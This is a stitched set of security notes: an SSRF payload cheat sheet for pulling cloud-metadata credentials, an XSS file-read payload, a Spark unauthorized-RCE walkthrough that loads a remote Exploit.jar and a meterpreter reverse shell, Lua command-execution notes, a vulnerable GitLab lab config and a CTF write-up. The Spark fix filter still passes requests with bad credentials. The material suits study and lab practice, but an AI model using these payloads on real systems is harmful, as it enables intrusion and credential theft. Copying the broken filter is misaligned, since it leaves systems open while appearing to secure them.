[Elasticsearch](https://github.com/assetnote/blind-ssrf-chains#elasticsearch) - [Weblogic](https://github.com/assetnote/blind-ssrf-chains#weblogic) - [Hashicorp Consul](https://github.com/assetnote/blind-ssrf-chains#consul) - [Shellshock](https://github.com/assetnote/blind-ssrf-chains#shellshock) - [Apache Druid](https://github.com/assetnote/blind-ssrf-chains#druid) - [Apache Solr](https://github.com/assetnote/blind-ssrf-chains#solr) - [PeopleSoft](https://github.com/assetnote/blind-ssrf-chains#peoplesoft) - [Apache Struts](https://github.com/assetnote/blind-ssrf-chains#struts) - [JBoss](https://github.com/assetnote/blind-ssrf-chains#jboss) - [Confluence](https://github.com/assetnote/blind-ssrf-chains#confluence) - [Jira](https://github.com/assetnote/blind-ssrf-chains#jira) - [Other Atlassian Products](https://github.com/assetnote/blind-ssrf-chains#atlassian-products) - [OpenTSDB](https://github.com/assetnote/blind-ssrf-chains#opentsdb) - [Jenkins](https://github.com/assetnote/blind-ssrf-chains#jenkins) - [Hystrix Dashboard](https://github.com/assetnote/blind-ssrf-chains#hystrix) - [W3 Total Cache](https://github.com/assetnote/blind-ssrf-chains#w3) - [Docker](https://github.com/assetnote/blind-ssrf-chains#docker) - [Gitlab Prometheus Redis Exporter](https://github.com/assetnote/blind-ssrf-chains#redisexporter) **Possible via Gopher** - [Redis](https://github.com/assetnote/blind-ssrf-chains#redis) - [Memcache](https://github.com/assetnote/blind-ssrf-chains#memcache) - [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat) ## SSRF to XSS by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) ```bash http://brutelogic.com.br/poc.svg -> simple alert https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg ``` ## SSRF from XSS ### Using an iframe The content of the file will be integrated inside the PDF as an image or text. ```html <img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/> ``` ### Using an attachment Example of a PDF attachment using HTML 1. use `<link rel=attachment href="URL">` as Bio text 2. use 'Download Data' feature to get PDF 3. use `pdfdetach -saveall filename.pdf` to extract embedded resource 4. `cat attachment.bin` ## SSRF URL for Cloud Instances ### SSRF URL for AWS Bucket [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) Interesting path to look for at `http://169.254.169.254` or `http://instance-data` ```powershell Always here : /latest/meta-data/{hostname,public-ipv4,...} User data (startup script for auto-scaling) : /latest/user-data Temporary AWS credentials : /latest/meta-data/iam/security-credentials/ ``` DNS record ```powershell http://instance-data http://169.254.169.254 http://169.254.169.254.nip.io/ ``` HTTP redirect ```powershell Static:http://nicob.net/redir6a Dynamic:http://nicob.net/redir-http-169.254.169.254:80- ``` Alternate IP encoding ```powershell http://425.510.425.510/ Dotted decimal with overflow http://2852039166/ Dotless decimal http://7147006462/ Dotless decimal with overflow http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal http://0xA9FEA9FE/ Dotless hexadecimal http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow http://0251.0376.0251.0376/ Dotted octal http://0251.00376.000251.0000376/ Dotted octal with padding http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal) ``` More urls to include ```powershell http://169.254.169.254/latest/user-data http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance http://169.254.169.254/latest/meta-data/ami-id http://169.254.169.254/latest/meta-data/reservation-id http://169.254.169.254/latest/meta-data/hostname http://169.254.169.254/latest/meta-data/public-keys/ http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access http://169.254.169.254/latest/dynamic/instance-identity/document ``` AWS SSRF Bypasses ``` Converted Decimal IP: http://2852039166/latest/meta-data/ IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/ IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/ IPV6/IPV4: http://[0:0:0:0:0:ffff:169.254.169.254]/latest/meta-data/ ``` E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance` E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/` ### SSRF URL for AWS ECS If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID. ```powershell curl http://169.254.170.2/v2/credentials/<UUID> ``` This way you'll extract IAM keys of the attached role ### SSRF URL for AWS Elastic Beanstalk We retrieve the `accountId` and `region` from the API. ```powershell http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API. ```powershell http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. ### SSRF URL for AWS Lambda AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment. ```powershell http://localhost:9001/2018-06-01/runtime/invocation/next $ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" ``` Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next ### SSRF URL for Google Cloud :warning: Google is shutting down support for usage of the **v1 metadata service** on January 15. Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" ```powershell http://169.254.169.254/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/ http://metadata/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/instance/hostname http://metadata.google.internal/computeMetadata/v1/instance/id http://metadata.google.internal/computeMetadata/v1/project/project-id ``` Google allows recursive pulls ```powershell http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true ``` Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn) ```powershell http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` Required headers can be set using a gopher SSRF with the following technique ```powershell gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a ``` Interesting files to pull out: - SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json` - Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token` - Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json` #### Add an SSH key Extract the token ```powershell http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` Check the scope of the token ```powershell $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } ``` Now push the SSH key. ```powershell curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` ### SSRF URL for Digital Ocean Documentation available at `https://developers.digitalocean.com/documentation/metadata/` ```powershell curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address All in one request: curl http://169.254.169.254/metadata/v1.json | jq ``` ### SSRF URL for Packetcloud Documentation available at `https://metadata.packet.net/userdata` ### SSRF URL for Azure Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/` ```powershell http://169.254.169.254/metadata/v1/maintenance ``` Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service` ```powershell http://169.254.169.254/metadata/instance?api-version=2017-04-02 http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text ``` ### SSRF URL for OpenStack/RackSpace (header required? unknown) ```powershell http://169.254.169.254/openstack ``` ### SSRF URL for HP Helion (header required? unknown) ```powershell http://169.254.169.254/2009-04-04/meta-data/ ``` ### SSRF URL for Oracle Cloud ```powershell http://192.0.0.192/latest/ http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/meta-data/ http://192.0.0.192/latest/attributes/ ``` ### SSRF URL for Alibaba ```powershell http://100.100.100.200/latest/meta-data/ http://100.100.100.200/latest/meta-data/instance-id http://100.100.100.200/latest/meta-data/image-id ``` ### SSRF URL for Kubernetes ETCD Can contain API keys and internal ip and ports ```powershell curl -L http://127.0.0.1:2379/version curl http://127.0.0.1:2379/v2/keys/?recursive=true ``` ### SSRF URL for Docker ```powershell http://127.0.0.1:2375/v1.24/containers/json Simple example docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json ``` More info: - Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option - Docker Engine API: https://docs.docker.com/engine/api/latest/ ### SSRF URL for Rancher ```powershell curl http://rancher-metadata/<version>/<path> ``` More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/ ## Labs * [Basic SSRF against the local server](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost) * [Basic SSRF against another back-end system](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system) * [SSRF with blacklist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter) * [SSRF with whitelist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter) * [SSRF with filter bypass via open redirection vulnerability](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection) ## References - [AppSecEU15-Server_side_browsing_considered_harmful.pdf](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf) - [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13](https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/) - [ESEA Server-Side Request Forgery and Querying AWS Meta Data](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) by Brett Buerhaus - [SSRF and local file read in video to gif converter](https://hackerone.com/reports/115857) - [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748) - [SSRF in proxy.duckduckgo.com](https://hackerone.com/reports/358119) - [Blind SSRF on errors.hackerone.net](https://hackerone.com/reports/374737) - [SSRF on *shopifycloud.com](https://hackerone.com/reports/382612) - [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF) - [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648) - [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html) - [#HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai](https://www.youtube.com/watch?v=D1S-G8rJrEk) - [SSRF Tips - xl7dev](http://blog.safebuff.com/2016/07/03/SSRF-Tips/) - [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748) - [Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat](https://www.dailysecurity.fr/server-side-request-forgery/) - [AppSecEU15 Server side browsing considered harmful - @Agarri](http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf) - [Enclosed alphanumerics - @EdOverflow](https://twitter.com/EdOverflow) - [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity](http://www.sxcurity.pro/2017/12/17/hackertarget/) - [PHP SSRF @secjuice](https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51) - [How I convert SSRF to xss in a ssrf vulnerable Jira](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) - [Piercing the Veil: Server Side Request Forgery to NIPRNet access](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a) - [Hacker101 SSRF](https://www.youtube.com/watch?v=66ni2BTIjS8) - [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/) - [SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978) - [SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP - @0xrst](https://www.silentrobots.com/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/) - [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/) - [Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/) - [PortSwigger - Web Security Academy Server-side request forgery (SSRF)](https://portswigger.net/web-security/ssrf) - [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - 12/06/2019](https://github.com/allanlw/svg-cheatsheet) - [SSRF’s up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/) - [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html) - [Attacking Url's in JAVA](https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/) - [SSRF: Don't encode entire IP](https://twitter.com/thedawgyg/status/1224547692967342080)
sec-knowleage
# 执行系统命令 os.execute 可以执行 dos 命令,但是返回的是系统状态码,默认输出。 ```lua os.execute('whoami') os.execute('ls -l') os.execute("copy" .. originalPath .. "," .. backupPath) ``` `io.popen()` 也可以执行 dos 命令,但是返回一个文件。 ```lua local t = io.popen('svn help') local a = t:read("*all") --a返回一个字符串,内容是svn help的内容 ``` 如果想执行某命令或程序可选 `os.execute()`, 如果还想捕捉该执行结果可用 `io.popen()` --- # 编译 **linux** 可以用它自带的 luac 进行编译,只不过运行还是要用 lua 运行😂 ```bash luac -o test.luac test.lua -s 写入输出文件之前去除调试信息 -v 显示版本信息 ``` - https://www.lua.org/manual/5.3/luac.html --- # 接收输入 ```lua print ("请输入整数:") a = io.read("*num") print (a) ```
sec-knowleage
# Spark 未授权访问漏洞 ## 漏洞描述 Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。 ## 环境搭建 ``` git clone https://github.com/vulhub/vulhub.git cd /opt/vulhub-master/spark/unacc/ docker-compose up ``` ## 漏洞检测 环境启动后,访问`http://your-ip:8080`即可看到master的管理页面,访问`http://your-ip:8081`即可看到slave的管理页面。 ![image-20220516154414820](../../.gitbook/assets/image-20220516154414820.png) ![image-20220516154453373](../../.gitbook/assets/image-20220516154453373.png) 该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。 提交方式有两种: ### **利用REST API** 构造payload ``` POST /v1/submissions/create HTTP/1.1 Host: your-ip:6066 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/json Connection: close Content-Length: 680 { "action": "CreateSubmissionRequest", "clientSparkVersion": "2.3.1", "appArgs": [ "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf" ], "appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar", "environmentVariables": { "SPARK_ENV_LOADED": "1" }, "mainClass": "Exploit", "sparkProperties": { "spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar", "spark.driver.supervise": "false", "spark.app.name": "Exploit", "spark.eventLog.enabled": "true", "spark.submit.deployMode": "cluster", "spark.master": "spark://your-ip:6066" } } ``` ![image-20220516154805960](../../.gitbook/assets/image-20220516154805960.png) 其中,`spark.jars`即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。 此时访问`http://your-ip:8081` 已经加载了exploit.jar ![image-20220516154832618](../../.gitbook/assets/image-20220516154832618.png) 返回的包中有submissionId(`driver-20220516074753-0000`),然后访问`http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout`,即可查看执行结果: ![image-20220516155318390](../../.gitbook/assets/image-20220516155318390.png) ### **利用submissions网关(集成在7077端口中)** 如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。 方法是利用Apache Spark自带的脚本`bin/spark-submit`: ``` bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id ``` 如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。 查看结果的方式与前面一致。 ### **MSF** ``` msf5>use exploit/linux/http/spark_unauth_rce msf5>set payload java/meterpreter/reverse_tcp msf5>set rhost 192.168.100.2 msf5>set rport 6066 msf5>set lhost 192.168.100.1 msf5>set lport 4444 msf5>set srvhost 192.168.100.1 msf5>set srvport 8080 msf5>exploit ``` ## 修复方案 ### 创建认证filter对应的jar包 在idea中通过maven编译源码方式。 #### 添加maven依赖 创建maven项目后,pom.xml添加如下依赖: ``` <dependencies> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.10</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>1.7.35</version> </dependency> <!-- logback 依赖 --> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.2.3</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.11</version> </dependency> </dependencies> ``` 创建com.demo包 ![image-20220516165325327](../../.gitbook/assets/image-20220516165325327.png) ``` package com.demo; import org.apache.commons.codec.binary.Base64; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.UnsupportedEncodingException; import java.util.StringTokenizer; public class SparkAuthFilter implements Filter { /** * Logger */ private static final Logger LOG = LoggerFactory.getLogger(SparkAuthFilter.class); private String username = ""; private String password = ""; private String realm = "Protected"; @Override public void init(FilterConfig filterConfig) throws ServletException { username = filterConfig.getInitParameter("username"); password = filterConfig.getInitParameter("password"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse) servletResponse; String authHeader = request.getHeader("Authorization"); if (authHeader != null) { StringTokenizer st = new StringTokenizer(authHeader); if (st.hasMoreTokens()) { String basic = st.nextToken(); if (basic.equalsIgnoreCase("Basic")) { try { String credentials = new String(Base64.decodeBase64(st.nextToken()), "UTF-8"); LOG.debug("Credentials: " + credentials); int p = credentials.indexOf(":"); if (p != -1) { String _username = credentials.substring(0, p).trim(); String _password = credentials.substring(p + 1).trim(); if (!username.equals(_username) || !password.equals(_password)) { unauthorized(response, "Bad credentials"); } filterChain.doFilter(servletRequest, servletResponse); } else { unauthorized(response, "Invalid authentication token"); } } catch (UnsupportedEncodingException e) { throw new Error("Couldn't retrieve authentication", e); } } } } else { unauthorized(response); } } @Override public void destroy() { } private void unauthorized(HttpServletResponse response, String message) throws IOException { response.setHeader("WWW-Authenticate", "Basic realm=\"" + realm + "\""); response.sendError(401, message); } private void unauthorized(HttpServletResponse response) throws IOException { unauthorized(response, "Unauthorized"); } public static void main(String[] args) { } } ``` > 这段代码是一个 Java 的 Servlet Filter 类,名为 SparkAuthFilter。该类实现了 Filter 接口,在接收 HTTP 请求时可以对请求进行认证,并决定是否允许该请求继续向下传递。 > > 在 Filter 初始化时,可以从配置中读取 username 和 password,并赋值到类的实例变量中。 > > 对于每一个请求,程序会检查请求的 Authorization header 是否存在,并判断是否是 Basic 认证方式。如果是,程序会对 header 中的认证凭证进行解码,并与 username 和 password 进行比较,如果一致则允许请求继续,否则返回 401 Unauthorized。 > > 在返回 401 Unauthorized 时,程序会在 HTTP 响应的 WWW-Authenticate header 中加入认证需要使用的 realm 信息。 使用maven进行编译,编译的jar包在target目录下面。 ![image-20220516165416923](../../.gitbook/assets/image-20220516165416923.png) #### 执行配置 1. 将jar包上传到spark的`jars`目录。 2. `spark-defaults.conf`配置文件中,增加如下配置: ``` spark.ui.filters=com.demo.SparkAuthFilter spark.com.demo.SparkAuthFilter.param.username=test spark.com.demo.SparkAuthFilter.param.password=password spark.acls.enable=true ``` 重启spark集群 ``` [root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/stop-all.sh [root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/start-all.sh ``` ![image-20220516165656719](../../.gitbook/assets/image-20220516165656719.png)
sec-knowleage
version: '2.3' services: redis: image: redis:5.0.9-alpine postgresql: image: postgres:12-alpine environment: - POSTGRES_USER=gitlab - POSTGRES_PASSWORD=password - POSTGRES_DB=gitlabhq_production - DB_EXTENSION=pg_trgm,btree_gist gitlab: image: vulhub/gitlab:13.10.1 depends_on: - redis - postgresql ports: - "8080:80" - "10022:22" environment: - DEBUG=false - DB_ADAPTER=postgresql - DB_HOST=postgresql - DB_PORT=5432 - DB_USER=gitlab - DB_PASS=password - DB_NAME=gitlabhq_production - REDIS_HOST=redis - REDIS_PORT=6379 - GITLAB_HTTPS=false - SSL_SELF_SIGNED=false - GITLAB_HOST=localhost - GITLAB_PORT=8080 - GITLAB_SSH_PORT=10022 - GITLAB_RELATIVE_URL_ROOT= - GITLAB_SECRETS_DB_KEY_BASE=long-long-long-long-long-long-secret-key-is-here1 - GITLAB_SECRETS_SECRET_KEY_BASE=long-long-long-long-long-long-secret-key-is-here2 - GITLAB_SECRETS_OTP_KEY_BASE=long-long-long-long-long-long-secret-key-is-her3 - TZ=Asia/Kolkata - GITLAB_TIMEZONE=Kolkata - GITLAB_ROOT_PASSWORD=vulhub123456
sec-knowleage
# 1_wanna_b3_a_r0ck5tar General Skills, 350 points ## Description: > I wrote you another song. Put the flag in the picoCTF{} flag format ``` Rocknroll is right Silence is wrong A guitar is a six-string Tommy's been down Music is a billboard-burning razzmatazz! Listen to the music If the music is a guitar Say "Keep on rocking!" Listen to the rhythm If the rhythm without Music is nothing Tommy is rockin guitar Shout Tommy! Music is amazing sensation Jamming is awesome presence Scream Music! Scream Jamming! Tommy is playing rock Scream Tommy! They are dazzled audiences Shout it! Rock is electric heaven Scream it! Tommy is jukebox god Say it! Break it down Shout "Bring on the rock!" Else Whisper "That ain't it, Chief" Break it down ``` ## Solution: This is the follow-up for [mus1c](mus1c.md). Same as before, we paste the program into the [online interpreter](https://codewithrockstar.com/online) and run it. However, this time the program asks for input. Entering a random string doesn't lead anywhere. We'll have to understand the program. We can either choose to understand the [Language Specification](https://codewithrockstar.com/docs) or just use a [Python transpiler](https://github.com/yanorestes/rockstar-py) to translate the program to Python. Using the transpiler seems faster. ```console root@kali:/media/sf_CTFs/pico/1_wanna_b3_a_r0ck5tar# rockstar-py --output rockstar.py -i lyrics.txt root@kali:/media/sf_CTFs/pico/1_wanna_b3_a_r0ck5tar# cat rockstar.py Rocknroll = True Silence = False a_guitar = 19 Tommy = 44 Music = 160 the_music = input() if the_music == a_guitar: print("Keep on rocking!") the_rhythm = input() if the_rhythm - Music == False: Tommy = 66 print(Tommy!) Music = 79 Jamming = 78 print(Music!) print(Jamming!) Tommy = 74 print(Tommy!) They are dazzled audiences print(it!) Rock = 86 print(it!) Tommy = 73 print(it!) break print("Bring on the rock!") Else print("That ain't it, Chief") break ``` This code, of course, doesn't run: ```console root@kali:/media/sf_CTFs/pico/1_wanna_b3_a_r0ck5tar# python rockstar.py File "rockstar.py", line 12 print(Tommy!) ^ SyntaxError: invalid syntax ``` Fixing it a bit using some common sense, we get: ```python Rocknroll = True Silence = False a_guitar = 19 Tommy = 44 Music = 160 the_music = input() if int(the_music) == a_guitar: print("Keep on rocking!") the_rhythm = input() if int(the_rhythm) - Music == 0: Tommy = 66 print(Tommy) Music = 79 Jamming = 78 print(Music) print(Jamming) Tommy = 74 print(Tommy) #They are dazzled audiences print(it) Rock = 86 print(it) Tommy = 73 print(it) #break print("Bring on the rock!") else: print("That ain't it, Chief") #break ``` So, in order to bypass the first condition, we should enter `19` as input for `the_music`. However, the official interpreter does not accept this, and it turns out the transpiler isn't decoding the language correctly. This section explains how number literals are assigned. > #### Poetic Number Literals > > A poetic number literal begins with a variable name, followed by the keyword is, or the aliases was or were. As long as the next symbol is not a Literal Word, the rest of the line is treated as a decimal number in which the values of consecutive digits are given by the lengths of the subsequent barewords, up until the end of the line. To allow the digit zero, and to compensate for a lack of suitably rock’n’roll 1- and 2-letter words, word lengths are parsed modulo 10. A period (.) character denotes a decimal place. Other than the first period, any non-alphabetical characters are ignored. > > * Tommy was a lovestruck ladykiller initialises Tommy with the value 100 > * Sweet Lucy was a dancer - initialises Sweet Lucy with the value 16 Therefore, the following command: ``` A guitar is a six-string ``` Should be considered 136, and not 19. Entering 136 indeed prints "Keep on rocking!" and brings us to the next input request. Now we need to enter the correct value for `the rhythm`, so that `the rhythm without Music is nothing`. `without` is a reserved word which indicates substraction: ``` Operator Operation Aliases + addition plus, with - subtraction minus, without * multiplication times, of / division over ``` `nothing` is a reserved word which resembles zero: > Null - the null type. Evaluates as equal to zero and equal to false. The keywords nothing, nowhere, nobody, empty and gone are defined as aliases for null So as the transpiler correctly identified, we need to enter a value for `the rhythm` so that `the rhythm - Music == 0`. According to the logic above, the value of `Music` is `a billboard-burning razzmatazz! == 1970`. Entering this gives us the following output in the online interpreter: ``` Keep on rocking! 66 79 78 74 79 86 73 ``` This is pretty close to what the transpiler understood, only 79 is missing. In any case, translated to ASCII, we get: ```python >>> ascii = """66 ... 79 ... 78 ... 74 ... 79 ... 86 ... 73""" >>> for c in ascii.split(): ... print(chr(int(c)), end='') ... BONJOVI ``` So the flag is `picoCTF{BONJOVI}`. ### Update (November 2020) It seems as though the Rockstar language specs have changed since the original challange was posted, and the hyphen has received a special meaning: > The hyphen (-) is counted as a letter – so you can use terms like ‘all-consuming’ (13 letters > 3) and ‘power-hungry’ (12 letters > 2) instead of having to think of 12- and 13-letter words. Therefore, using the updated specs, `a six-string` should count as `10` and `a billboard-burning razzmatazz` now equals `170`. See [here](https://github.com/Dvd848/CTFs/issues/8) and [here](https://github.com/Dvd848/CTFs/issues/9) for more details.
sec-knowleage
